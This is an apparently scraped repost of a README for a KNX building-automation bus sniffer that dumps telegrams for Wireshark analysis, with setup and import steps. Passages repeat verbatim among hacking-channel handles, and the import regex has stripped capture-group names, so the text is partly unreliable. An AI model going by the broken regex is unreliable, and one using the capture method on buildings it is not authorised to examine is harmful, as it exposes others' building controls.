KNX is a popular building automation (https://www.kitploit.com/search/label/Automation) protocol and is used to interconnect sensors, actuators and other components of a smart building together. Our KNX Bus Dump tool uses the Calimero java library, which we contributed to for the sake of this tool, to record the telegrams sent over a KNX bus. Particularly, our tool accesses the KNX bus through a TPUART connection but can be changed to use different connection mediums. The telegrams are dumped into a Wireshark-compatible hex dump file. Timestamps are provided and normalized to UTC time with nanosecond precision to perform data analysis and provide a timeline of the telegrams. The hex dump file can be imported into Wireshark, which can be configured to dissect the KNX telegrams with Wireshark’s cEMI dissector.
Our tool can be used for protocol analysis (https://www.kitploit.com/search/label/Protocol%20Analysis) of KNX sensors, actuators and other KNX devices. For example, we used the tool to understand our KNX devices and found irregular KNX telegrams. The tool is also ideal for security analysis of KNX devices given that it exposes all details of the involved protocol and data sent over the KNX bus. Tcpdump and Wireshark cannot be used to dump telegrams sent over a KNX bus since we are dealing with native KNX telegrams, not TCP/IP packets. Wireshark and tcpdump can dump KNXnet/IP packets, which are TCP/IP packets. KNXnet/IP is a protocol for sending commands and data to a KNX bus over a TCP/IP network. Prerequisites This tool is designed to work with the Calimero Java library and is compatible with a Raspberry Pi (https://www.kitploit.com/search/label/Raspberry%20Pi) 3 or 4 and a Raspberry Pi HAT for the TPUART connection. Here are some guides to getting the environment setup: KNX Raspberry PiHAT Usage Walkthrough (https://github.com/ChrisM09/KNX-Bus-Dump/blob/main/KNX-Raspberry-Pi-Hat-Usage/README.md) Raspberry Pi and Calimero Suite Setup (https://github.com/ChrisM09/KNX-Bus-Dump/blob/main/Raspberry-Pi-Calimero-Setup/README.md) Note: The next steps will assume that you setup your environment according to these guides. Usage Creating the Hex Dump Place the KNXBusDump.java file into the introduction/src/main/java/ folder of the Calimero Project suite. Change into the introduction folder. To run the program, you can simply run: ./gradlew run -Pcalimero.serial.tpuart.maxInterByteDelay=60000 -DmainClass=KNXBusDump
Refer to the troubleshooting guide below for some common error solutions. Now, you wait for some messages to be transmitted on the bus and the dumped telegrams will be in the KNXBusDump-Telegrams.txt file. Cancel the tool using Ctrl-C and the file is now ready to be imported into Wireshark to be analyzed. Analyzing the Hex Dump In Wireshark, you have the ability to import packets from a hex dump and specify a dissector to analyze the packet. Upon starting Wireshark, wait for the initial loading to finish. Then click File -> Import From Hex Dump...
___________________________
@hacking_Attack
@Hacking_Video
Our tool can be used for protocol analysis (https://www.kitploit.com/search/label/Protocol%20Analysis) of KNX sensors, actuators and other KNX devices. For example, we used the tool to understand our KNX devices and found irregular KNX telegrams. The tool is also ideal for security analysis of KNX devices given that it exposes all details of the involved protocol and data sent over the KNX bus. Tcpdump and Wireshark cannot be used to dump telegrams sent over a KNX bus since we are dealing with native KNX telegrams, not TCP/IP packets. Wireshark and tcpdump can dump KNXnet/IP packets, which are TCP/IP packets. KNXnet/IP is a protocol for sending commands and data to a KNX bus over a TCP/IP network. Prerequisites This tool is designed to work with the Calimero Java library and is compatible with a Raspberry Pi (https://www.kitploit.com/search/label/Raspberry%20Pi) 3 or 4 and a Raspberry Pi HAT for the TPUART connection. Here are some guides to getting the environment setup: KNX Raspberry PiHAT Usage Walkthrough (https://github.com/ChrisM09/KNX-Bus-Dump/blob/main/KNX-Raspberry-Pi-Hat-Usage/README.md) Raspberry Pi and Calimero Suite Setup (https://github.com/ChrisM09/KNX-Bus-Dump/blob/main/Raspberry-Pi-Calimero-Setup/README.md) Note: The next steps will assume that you setup your environment according to these guides. Usage Creating the Hex Dump Place the KNXBusDump.java file into the introduction/src/main/java/ folder of the Calimero Project suite. Change into the introduction folder. To run the program, you can simply run: ./gradlew run -Pcalimero.serial.tpuart.maxInterByteDelay=60000 -DmainClass=KNXBusDump
Refer to the troubleshooting guide below for some common error solutions. Now, you wait for some messages to be transmitted on the bus and the dumped telegrams will be in the KNXBusDump-Telegrams.txt file. Cancel the tool using Ctrl-C and the file is now ready to be imported into Wireshark to be analyzed. Analyzing the Hex Dump In Wireshark, you have the ability to import packets from a hex dump and specify a dissector to analyze the packet. Upon starting Wireshark, wait for the initial loading to finish. Then click File -> Import From Hex Dump...
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
In order to properly parse this out, we need to give it a regular expression (https://www.kitploit.com/search/label/Regular%20Expression) (regex) with some tags. ^\s*(?\d{4}-\d\d\-\d\dT(\d\d\:){2}\d\d.(\d){6}[Z])\s(?\d{6})\s+(?[0-9a-fA-F]*)$
Choose the hex dump file as the source. Under the new dialog, change to the Regular Expression tab and paste the regex into the box. Ensure that the data encoding is Plain hex 200*16 In the Timestamp format textbox, we need to specify the pattern that is generated by the tool. %Y-%m-%dT%H:%M:%S.%fZ
NOTE: The timestamp format MUST be the EXACT SAME as this. Otherwise, there will not be a timestamp parsed out. Under the Encapsulation section, change Encapsulation Type to Wireshark Upper PDU Export. Check ExportPDU to specify the cemi dissector. Now you're able to import the file and analyze the telegram.
___________________________
@hacking_Attack
@Hacking_Video
Choose the hex dump file as the source. Under the new dialog, change to the Regular Expression tab and paste the regex into the box. Ensure that the data encoding is Plain hex 200*16 In the Timestamp format textbox, we need to specify the pattern that is generated by the tool. %Y-%m-%dT%H:%M:%S.%fZ
NOTE: The timestamp format MUST be the EXACT SAME as this. Otherwise, there will not be a timestamp parsed out. Under the Encapsulation section, change Encapsulation Type to Wireshark Upper PDU Export. Check ExportPDU to specify the cemi dissector. Now you're able to import the file and analyze the telegram.
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.